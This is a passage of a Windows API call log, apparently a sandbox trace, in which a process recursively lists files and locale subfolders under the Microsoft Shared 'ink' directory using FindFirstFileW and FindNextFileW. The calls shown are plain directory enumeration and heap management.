ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0079.185] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0079.186] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0079.187] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0079.187] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0079.187] GetProcessHeap () returned 0x470000 [0079.187] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0079.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.555] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.555] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.555] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.555] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.555] GetProcessHeap () returned 0x470000 [0079.555] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0079.555] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0079.555] GetProcessHeap () returned 0x470000 [0079.555] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.555] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.556] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.556] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.556] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.556] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.556] GetProcessHeap () returned 0x470000 [0079.556] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.556] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0079.556] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0079.556] GetProcessHeap () returned 0x470000 [0079.556] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.557] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.557] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.557] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.557] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.557] GetProcessHeap () returned 0x470000 [0079.557] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.557] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0079.557] GetProcessHeap () returned 0x470000 [0079.557] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.700] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.700] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.700] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.701] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.701] GetProcessHeap () returned 0x470000 [0079.701] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.701] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, 